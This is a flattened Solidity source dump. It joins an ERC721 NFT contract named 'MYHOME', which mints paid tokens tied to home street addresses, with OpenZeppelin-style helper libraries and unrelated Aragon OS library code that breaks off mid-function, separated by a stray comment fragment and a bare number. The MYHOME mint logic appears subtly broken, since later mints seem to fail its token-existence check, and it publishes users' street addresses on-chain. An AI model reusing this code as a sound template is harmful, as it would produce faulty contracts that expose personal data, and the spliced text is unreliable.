* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } contract MYHOME is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Current Token ID uint256 private CtokenId; // Owner of the contract address payable contractOwner; // All the funds will go to this address address payable fundReceiver; // Pause Time uint256 public pauseTime; mapping(address => string) public addressData; mapping(uint256 => string) public addressDataWithTokenID; address[] public addresses; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; modifier onlyOwner(){ require(contractOwner == msg.sender,"You are not an owner."); _; } constructor(address _fundReceiver) { _name = "MYHOME"; _symbol = "MMM"; CtokenId = 0; contractOwner = payable(_msgSender()); pauseTime = 0; fundReceiver = payable(_fundReceiver); addresses.push(_fundReceiver); } // THIS DATE WILL BE IN TIMESTAMP // USE : https://www.epochconverter.com/ function setPauseTime(uint256 _pauseTime) public onlyOwner { pauseTime = _pauseTime; } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } function _baseURI() internal view virtual returns (string memory) { return ""; } function approve(address to, uint256 tokenId) public virtual override { address owner = MYHOME.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = MYHOME.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } function _mint(string memory _streetAddress) public payable virtual { address sender = _msgSender(); require(sender != address(0), "ERC721: mint to the zero address"); require(!_exists(CtokenId), "ERC721: token already minted"); require(pauseTime < block.timestamp,"Token is Paused"); require(msg.value == 0.01 ether, "You are passing wrong value."); bool successful = false; for (uint i = 0; i <= CtokenId; i++) { if(keccak256(abi.encodePacked(addressData[addresses[i]])) == keccak256(abi.encodePacked(_streetAddress))){ successful = false; i = CtokenId+1; }else { successful = true; } } require(successful == true, "Already Exist."); (bool success,) = fundReceiver.call{value: msg.value}(""); if(!success) { revert("Payment Sending Failed"); }else{ _balances[sender] += 1; CtokenId += 1; _owners[CtokenId] = sender; addressData[sender] = _streetAddress; addressDataWithTokenID[CtokenId] = _streetAddress; addresses.push(sender); emit Transfer(address(0), sender, CtokenId); } } function _burn(uint256 tokenId) internal virtual { address owner = MYHOME.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(MYHOME.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); require(pauseTime < block.timestamp,"Token is Paused"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(MYHOME.ownerOf(tokenId), to, tokenId); } function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} }
THIS DATE WILL BE IN TIMESTAMP USE : https:www.epochconverter.com/
function setPauseTime(uint256 _pauseTime) public onlyOwner { pauseTime = _pauseTime; }
2,175,115
// File: @aragon/os/contracts/lib/token/ERC20.sol // See https://github.com/OpenZeppelin/openzeppelin-solidity/blob/a9f910d34f0ab33a1ae5e714f69f9596a02b4d91/contracts/token/ERC20/ERC20.sol pragma solidity ^0.4.24; /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function allowance(address _owner, address _spender) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: @aragon/os/contracts/apps/disputable/IAgreement.sol /* * SPDX-License-Identifier: MIT */ pragma solidity ^0.4.24; contract IAgreement { event ActionSubmitted(uint256 indexed actionId, address indexed disputable); event ActionClosed(uint256 indexed actionId); event ActionChallenged(uint256 indexed actionId, uint256 indexed challengeId); event ActionSettled(uint256 indexed actionId, uint256 indexed challengeId); event ActionDisputed(uint256 indexed actionId, uint256 indexed challengeId); event ActionAccepted(uint256 indexed actionId, uint256 indexed challengeId); event ActionVoided(uint256 indexed actionId, uint256 indexed challengeId); event ActionRejected(uint256 indexed actionId, uint256 indexed challengeId); enum ChallengeState { Waiting, Settled, Disputed, Rejected, Accepted, Voided } function newAction(uint256 _disputableActionId, bytes _context, address _submitter) external returns (uint256); function closeAction(uint256 _actionId) external; function challengeAction(uint256 _actionId, uint256 _settlementOffer, bool _finishedSubmittingEvidence, bytes _context) external; function settleAction(uint256 _actionId) external; function disputeAction(uint256 _actionId, bool _finishedSubmittingEvidence) external; } // File: @aragon/os/contracts/lib/standards/ERC165.sol /* * SPDX-License-Identifier: MIT */ pragma solidity ^0.4.24; contract ERC165 { // Includes supportsInterface method: bytes4 internal constant ERC165_INTERFACE_ID = bytes4(0x01ffc9a7); /** * @dev Query if a contract implements a certain interface * @param _interfaceId The interface identifier being queried, as specified in ERC-165 * @return True if the contract implements the requested interface and if its not 0xffffffff, false otherwise */ function supportsInterface(bytes4 _interfaceId) public pure returns (bool) { return _interfaceId == ERC165_INTERFACE_ID; } } // File: @aragon/os/contracts/apps/disputable/IDisputable.sol /* * SPDX-License-Identifier: MIT */ pragma solidity ^0.4.24; contract IDisputable is ERC165 { // Includes setAgreement, onDisputableActionChallenged, onDisputableActionAllowed, // onDisputableActionRejected, onDisputableActionVoided, getAgreement, canChallenge, and canClose methods: bytes4 internal constant DISPUTABLE_INTERFACE_ID = bytes4(0xf3d3bb51); event AgreementSet(IAgreement indexed agreement); function setAgreement(IAgreement _agreement) external; function onDisputableActionChallenged(uint256 _disputableActionId, uint256 _challengeId, address _challenger) external; function onDisputableActionAllowed(uint256 _disputableActionId) external; function onDisputableActionRejected(uint256 _disputableActionId) external; function onDisputableActionVoided(uint256 _disputableActionId) external; function getAgreement() external view returns (IAgreement); function canChallenge(uint256 _disputableActionId) external view returns (bool); function canClose(uint256 _disputableActionId) external view returns (bool); } // File: @aragon/os/contracts/acl/IACL.sol /* * SPDX-License-Identifier: MIT */ pragma solidity ^0.4.24; interface IACL { function initialize(address permissionsCreator) external; // TODO: this should be external // See https://github.com/ethereum/solidity/issues/4832 function hasPermission(address who, address where, bytes32 what, bytes how) public view returns (bool); } // File: @aragon/os/contracts/common/IVaultRecoverable.sol /* * SPDX-License-Identifier: MIT */ pragma solidity ^0.4.24; interface IVaultRecoverable { event RecoverToVault(address indexed vault, address indexed token, uint256 amount); function transferToVault(address token) external; function allowRecoverability(address token) external view returns (bool); function getRecoveryVault() external view returns (address); } // File: @aragon/os/contracts/kernel/IKernel.sol /* * SPDX-License-Identifier: MIT */ pragma solidity ^0.4.24; interface IKernelEvents { event SetApp(bytes32 indexed namespace, bytes32 indexed appId, address app); } // This should be an interface, but interfaces can't inherit yet :( contract IKernel is IKernelEvents, IVaultRecoverable { function acl() public view returns (IACL); function hasPermission(address who, address where, bytes32 what, bytes how) public view returns (bool); function setApp(bytes32 namespace, bytes32 appId, address app) public; function getApp(bytes32 namespace, bytes32 appId) public view returns (address); } // File: @aragon/os/contracts/apps/IAragonApp.sol /* * SPDX-License-Identifier: MIT */ pragma solidity ^0.4.24; contract IAragonApp { // Includes appId and kernel methods: bytes4 internal constant ARAGON_APP_INTERFACE_ID = bytes4(0x54053e6c); function kernel() public view returns (IKernel); function appId() public view returns (bytes32); } // File: @aragon/os/contracts/common/UnstructuredStorage.sol /* * SPDX-License-Identifier: MIT */ pragma solidity ^0.4.24; library UnstructuredStorage { function getStorageBool(bytes32 position) internal view returns (bool data) { assembly { data := sload(position) } } function getStorageAddress(bytes32 position) internal view returns (address data) { assembly { data := sload(position) } } function getStorageBytes32(bytes32 position) internal view returns (bytes32 data) { assembly { data := sload(position) } } function getStorageUint256(bytes32 position) internal view returns (uint256 data) { assembly { data := sload(position) } } function setStorageBool(bytes32 position, bool data) internal { assembly { sstore(position, data) } } function setStorageAddress(bytes32 position, address data) internal { assembly { sstore(position, data) } } function setStorageBytes32(bytes32 position, bytes32 data) internal { assembly { sstore(position, data) } } function setStorageUint256(bytes32 position, uint256 data) internal { assembly { sstore(position, data) } } } // File: @aragon/os/contracts/apps/AppStorage.sol /* * SPDX-License-Identifier: MIT */ pragma solidity ^0.4.24; contract AppStorage is IAragonApp { using UnstructuredStorage for bytes32; /* Hardcoded constants to save gas bytes32 internal constant KERNEL_POSITION = keccak256("aragonOS.appStorage.kernel"); bytes32 internal constant APP_ID_POSITION = keccak256("aragonOS.appStorage.appId"); */ bytes32 internal constant KERNEL_POSITION = 0x4172f0f7d2289153072b0a6ca36959e0cbe2efc3afe50fc81636caa96338137b; bytes32 internal constant APP_ID_POSITION = 0xd625496217aa6a3453eecb9c3489dc5a53e6c67b444329ea2b2cbc9ff547639b; function kernel() public view returns (IKernel) { return IKernel(KERNEL_POSITION.getStorageAddress()); } function appId() public view returns (bytes32) { return APP_ID_POSITION.getStorageBytes32(); } function setKernel(IKernel _kernel) internal { KERNEL_POSITION.setStorageAddress(address(_kernel)); } function setAppId(bytes32 _appId) internal { APP_ID_POSITION.setStorageBytes32(_appId); } } // File: @aragon/os/contracts/acl/ACLSyntaxSugar.sol /* * SPDX-License-Identifier: MIT */ pragma solidity ^0.4.24; contract ACLSyntaxSugar { function arr() internal pure returns (uint256[]) { return new uint256[](0); } function arr(bytes32 _a) internal pure returns (uint256[] r) { return arr(uint256(_a)); } function arr(bytes32 _a, bytes32 _b) internal pure returns (uint256[] r) { return arr(uint256(_a), uint256(_b)); } function arr(address _a) internal pure returns (uint256[] r) { return arr(uint256(_a)); } function arr(address _a, address _b) internal pure returns (uint256[] r) { return arr(uint256(_a), uint256(_b)); } function arr(address _a, uint256 _b, uint256 _c) internal pure returns (uint256[] r) { return arr(uint256(_a), _b, _c); } function arr(address _a, uint256 _b, uint256 _c, uint256 _d) internal pure returns (uint256[] r) { return arr(uint256(_a), _b, _c, _d); } function arr(address _a, uint256 _b) internal pure returns (uint256[] r) { return arr(uint256(_a), uint256(_b)); } function arr(address _a, address _b, uint256 _c, uint256 _d, uint256 _e) internal pure returns (uint256[] r) { return arr(uint256(_a), uint256(_b), _c, _d, _e); } function arr(address _a, address _b, address _c) internal pure returns (uint256[] r) { return arr(uint256(_a), uint256(_b), uint256(_c)); } function arr(address _a, address _b, uint256 _c) internal pure returns (uint256[] r) { return arr(uint256(_a), uint256(_b), uint256(_c)); } function arr(uint256 _a) internal pure returns (uint256[] r) { r = new uint256[](1); r[0] = _a; } function arr(uint256 _a, uint256 _b) internal pure returns (uint256[] r) { r = new uint256[](2); r[0] = _a; r[1] = _b; } function arr(uint256 _a, uint256 _b, uint256 _c) internal pure returns (uint256[] r) { r = new uint256[](3); r[0] = _a; r[1] = _b; r[2] = _c; } function arr(uint256 _a, uint256 _b, uint256 _c, uint256 _d) internal pure returns (uint256[] r) { r = new uint256[](4); r[0] = _a; r[1] = _b; r[2] = _c; r[3] = _d; } function arr(uint256 _a, uint256 _b, uint256 _c, uint256 _d, uint256 _e) internal pure returns (uint256[] r) { r = new uint256[](5); r[0] = _a; r[1] = _b; r[2] = _c; r[3] = _d; r[4] = _e; } } contract ACLHelpers { function decodeParamOp(uint256 _x) internal pure returns (uint8 b) { return uint8(_x >> (8 * 30)); } function decodeParamId(uint256 _x) internal pure returns (uint8 b) { return uint8(_x >> (8 * 31)); } function decodeParamsList(uint256 _x) internal pure returns (uint32 a, uint32 b, uint32 c) { a = uint32(_x); b = uint32(_x >> (8 * 4)); c = uint32(_x >> (8 * 8)); } } // File: @aragon/os/contracts/common/Uint256Helpers.sol pragma solidity ^0.4.24; library Uint256Helpers { uint256 private constant MAX_UINT64 = uint64(-1); string private constant ERROR_NUMBER_TOO_BIG = "UINT64_NUMBER_TOO_BIG"; function toUint64(uint256 a) internal pure returns (uint64) { require(a <= MAX_UINT64, ERROR_NUMBER_TOO_BIG); return uint64(a); } } // File: @aragon/os/contracts/common/TimeHelpers.sol /* * SPDX-License-Identifier: MIT */ pragma solidity ^0.4.24; contract TimeHelpers { using Uint256Helpers for uint256; /** * @dev Returns the current block number. * Using a function rather than `block.number` allows us to easily mock the block number in * tests. */ function getBlockNumber() internal view returns (uint256) { return block.number; } /** * @dev Returns the current block number, converted to uint64. * Using a function rather than `block.number` allows us to easily mock the block number in * tests. */ function getBlockNumber64() internal view returns (uint64) { return getBlockNumber().toUint64(); } /** * @dev Returns the current timestamp. * Using a function rather than `block.timestamp` allows us to easily mock it in * tests. */ function getTimestamp() internal view returns (uint256) { return block.timestamp; // solium-disable-line security/no-block-members } /** * @dev Returns the current timestamp, converted to uint64. * Using a function rather than `block.timestamp` allows us to easily mock it in * tests. */ function getTimestamp64() internal view returns (uint64) { return getTimestamp().toUint64(); } } // File: @aragon/os/contracts/common/Initializable.sol /* * SPDX-License-Identifier: MIT */ pragma solidity ^0.4.24; contract Initializable is TimeHelpers { using UnstructuredStorage for bytes32; // keccak256("aragonOS.initializable.initializationBlock") bytes32 internal constant INITIALIZATION_BLOCK_POSITION = 0xebb05b386a8d34882b8711d156f463690983dc47815980fb82aeeff1aa43579e; string private constant ERROR_ALREADY_INITIALIZED = "INIT_ALREADY_INITIALIZED"; string private constant ERROR_NOT_INITIALIZED = "INIT_NOT_INITIALIZED"; modifier onlyInit { require(getInitializationBlock() == 0, ERROR_ALREADY_INITIALIZED); _; } modifier isInitialized { require(hasInitialized(), ERROR_NOT_INITIALIZED); _; } /** * @return Block number in which the contract was initialized */ function getInitializationBlock() public view returns (uint256) { return INITIALIZATION_BLOCK_POSITION.getStorageUint256(); } /** * @return Whether the contract has been initialized by the time of the current block */ function hasInitialized() public view returns (bool) { uint256 initializationBlock = getInitializationBlock(); return initializationBlock != 0 && getBlockNumber() >= initializationBlock; } /** * @dev Function to be called by top level contract after initialization has finished. */ function initialized() internal onlyInit { INITIALIZATION_BLOCK_POSITION.setStorageUint256(getBlockNumber()); } /** * @dev Function to be called by top level contract after initialization to enable the contract * at a future block number rather than immediately. */ function initializedAt(uint256 _blockNumber) internal onlyInit { INITIALIZATION_BLOCK_POSITION.setStorageUint256(_blockNumber); } } // File: @aragon/os/contracts/common/Petrifiable.sol /* * SPDX-License-Identifier: MIT */ pragma solidity ^0.4.24; contract Petrifiable is Initializable { // Use block UINT256_MAX (which should be never) as the initializable date uint256 internal constant PETRIFIED_BLOCK = uint256(-1); function isPetrified() public view returns (bool) { return getInitializationBlock() == PETRIFIED_BLOCK; } /** * @dev Function to be called by top level contract to prevent being initialized. * Useful for freezing base contracts when they're used behind proxies. */ function petrify() internal onlyInit { initializedAt(PETRIFIED_BLOCK); } } // File: @aragon/os/contracts/common/Autopetrified.sol /* * SPDX-License-Identifier: MIT */ pragma solidity ^0.4.24; contract Autopetrified is Petrifiable { constructor() public { // Immediately petrify base (non-proxy) instances of inherited contracts on deploy. // This renders them uninitializable (and unusable without a proxy). petrify(); } } // File: @aragon/os/contracts/common/ConversionHelpers.sol pragma solidity ^0.4.24; library ConversionHelpers { string private constant ERROR_IMPROPER_LENGTH = "CONVERSION_IMPROPER_LENGTH"; function dangerouslyCastUintArrayToBytes(uint256[] memory _input) internal pure returns (bytes memory output) { // Force cast the uint256[] into a bytes array, by overwriting its length // Note that the bytes array doesn't need to be initialized as we immediately overwrite it // with the input and a new length. The input becomes invalid from this point forward. uint256 byteLength = _input.length * 32; assembly { output := _input mstore(output, byteLength) } } function dangerouslyCastBytesToUintArray(bytes memory _input) internal pure returns (uint256[] memory output) { // Force cast the bytes array into a uint256[], by overwriting its length // Note that the uint256[] doesn't need to be initialized as we immediately overwrite it // with the input and a new length. The input becomes invalid from this point forward. uint256 intsLength = _input.length / 32; require(_input.length == intsLength * 32, ERROR_IMPROPER_LENGTH); assembly { output := _input mstore(output, intsLength) } } } // File: @aragon/os/contracts/common/ReentrancyGuard.sol /* * SPDX-License-Identifier: MIT */ pragma solidity ^0.4.24; contract ReentrancyGuard { using UnstructuredStorage for bytes32; /* Hardcoded constants to save gas bytes32 internal constant REENTRANCY_MUTEX_POSITION = keccak256("aragonOS.reentrancyGuard.mutex"); */ bytes32 private constant REENTRANCY_MUTEX_POSITION = 0xe855346402235fdd185c890e68d2c4ecad599b88587635ee285bce2fda58dacb; string private constant ERROR_REENTRANT = "REENTRANCY_REENTRANT_CALL"; modifier nonReentrant() { // Ensure mutex is unlocked 